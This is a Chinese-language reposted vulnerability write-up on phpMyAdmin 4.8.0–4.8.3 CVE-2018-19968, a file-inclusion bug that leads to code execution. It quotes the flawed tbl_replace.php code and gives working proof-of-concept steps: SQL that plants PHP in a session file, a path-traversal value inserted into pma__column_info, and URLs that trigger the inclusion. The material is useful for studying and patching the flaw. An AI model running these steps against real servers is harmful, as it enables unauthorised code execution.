phpMyAdmin 4.8.0~4.8.3 Transformation 任意文件包含/远程代码执行漏洞

简介:

本文转载自:phpMyAdmin 4.8.0~4.8.3 Transformation 任意文件包含/远程代码执行漏洞 (需登录/PMASA-2018-6/CVE-2018-19968) | VULNSPY

2018年12月07日 phpMyAdmin 发布安全公告PMASA-2018-6修复了一个由Transformation特性引起的本地文件读取漏洞,影响4.8.0~4.8.3版本,CVE编号CVE-2018-19968。

Transformation是phpMyAdmin中的一个高级功能,通过Transformation可以对每个字段的内容使用不同的转换,每个字段中的内容将被预定义的规则所转换。比如我们有一个存有文件名的字段 ‘Filename’,正常情况下 phpMyAdmin 只会将路径显示出来。但是通过Transformation我们可以将该字段转换成超链接,我们就能直接在 phpMyAdmin 中点击并在浏览器的新窗口中看到这个文件。

通常情况下Transformation的规则存储在每个数据库的pma__column_info表中,而在phpMyAdmin 4.8.0~4.8.3版本中,由于对转换参数处理不当,导致了任意文件包含漏洞的出现。

了解更多关于Transformations的内容:Transformations - phpMyAdmin 5.0.0-dev documentation

VulnSpy 已为大家提供在线 phpMyAdmin 环境地址:https://www.vsplate.com/?github=vulnspy/phpmyadmin-4.8.1,点击又上角的START TO HACK按钮可进行在线测试。

漏洞细节来自:PHPMyAdmin multiple vulnerabilities - Sec Team Blog

漏洞细节

在文件tbl_replace.php中:

$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
[...]
// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&& !empty($mime_map[$column_name]['input_transformation'])
) {
   $filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
   if (is_file($filename)) {
      include_once $filename;
      $classname = Transformations::getClassName($filename);
      /** @var IOTransformationsPlugin $transformation_plugin */
      $transformation_plugin = new $classname();
      $transformation_options = Transformations::getOptions(
         $mime_map[$column_name]['input_transformation_options']
      );
      $current_value = $transformation_plugin->applyTransformation(
         $current_value, $transformation_options
      );
      // check if transformation was successful or not
      // and accordingly set error messages & insert_fail
      if (method_exists($transformation_plugin, 'isSuccess')
&& !$transformation_plugin->isSuccess()
) {
         $insert_fail = true;
         $row_skipped = true;
         $insert_errors[] = sprintf(
            __('Row: %1$s, Column: %2$s, Error: %3$s'),
            $rownumber, $column_name,
            $transformation_plugin->getError()
         );
      }
   }
}

拼接到$filename的变量$mime_map[$column_name]['input_transformation']来自于数据表pma__column_info中的input_transformation字段,因为数据库中的内容用户可控,从而产生了任意文件包含漏洞。

漏洞利用

  1. 创建数据库,并将PHP代码写入SESSION文件中
CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';

  1. 访问http://pma.vsplate.me/chk_rel.php?fixall_pmadb=1&db=foo在数据库foo中生成phpMyAdmin的配置表。

  1. 将篡改后的Transformation数据插入表pma__column_info中:

将sess_***中的***替换成你的会话ID,即COOKIE中phpMyAdmin的值

INSERT INTO `pma__column_info`SELECT '1', 'foo', 'bar', 'baz', 'plop',
'plop', 'plop', 'plop',
'../../../../../../../../tmp/sess_***','plop';

  1. 访问http://pma.vsplate.me/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1,如果利用成功将会自动包含含有恶意代码的SESSION文件

目录
相关文章
|
8月前
|
安全 PHP
36、远程文件包含漏洞
36、远程文件包含漏洞
43 0
|
5月前
|
安全 应用服务中间件 网络安全
Python 渗透测试:漏洞的批量搜索与利用.(GlassFish 任意文件读取)
Python 渗透测试:漏洞的批量搜索与利用.(GlassFish 任意文件读取)
61 11
|
SQL Web App开发 安全
Smanga未授权远程代码执行漏洞(CVE-2023-36076) 附加SQL注入+任意文件读取
Smanga存在未授权远程代码执行漏洞,攻击者可在目标主机执行任意命令,获取服务器权限。
315 0
|
安全 PHP
ThinkPHP 2.x 任意代码执行漏洞
ThinkPHP 2.x 任意代码执行漏洞
317 0
ThinkPHP 2.x 任意代码执行漏洞
|
安全 Ruby
CVE-2019-5418 Ruby on Rails 路径穿越与任意文件读取漏洞
CVE-2019-5418 Ruby on Rails 路径穿越与任意文件读取漏洞
237 0
CVE-2019-5418 Ruby on Rails 路径穿越与任意文件读取漏洞
|
安全 中间件 Shell
文件包含漏洞利用方式-日志注入getshell
中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息 如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell 比如使用代理工具抓包,在HTTP请求中插入一句话木马,访问日志文件时会执行一句话木马,然后使用蚁剑等工具链接,从而getshell
737 0
文件包含漏洞利用方式-日志注入getshell
|
安全 数据库
目录遍历漏洞和文件读取漏洞的区别
通过操作URL强行访问web目录以外的文件,目录和命令。网站存在配置缺陷,导致网站目录可以被任意浏览,这会导致网站很多隐私文件与目录泄露,比如数据库备份文件、配置文件等,攻击者利用该信息可以为进一步入侵网站做准备。
372 0
|
安全 PHP 数据库
WordPress安全漏洞:从任意文件删除到任意代码执行
  WordPress安全漏洞:从任意文件删除到任意代码执行   WordPress是网络上最受欢迎的CMS系统。据w3tech统计,约有30%的网站运行了该系统。该系统的应用是如此广泛,难免会成为网络犯罪分子攻击目标。
639 0
|
安全 PHP 数据安全/隐私保护
PHPMailer命令执行及任意文件读取漏洞
  今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个邮箱接口,前台页面需要单独自己写,没办法用这套CMS进行复现,这边也顺便利用这个PHPMailer-5.2.13对CVE-2016-10033和CVE-2017-5223进行本地复现,记录一下。
2706 0
|
安全 PHP 数据安全/隐私保护
PHP代码审计笔记--代码执行漏洞
漏洞形成原因:客户端提交的参数,未经任何过滤,传入可以执行代码的函数,造成代码执行漏洞。 常见代码注射函数:   如:eval、preg_replace+/e、assert、call_user_func、call_user_func_array、create_function等函数     详见http://www.
1544 0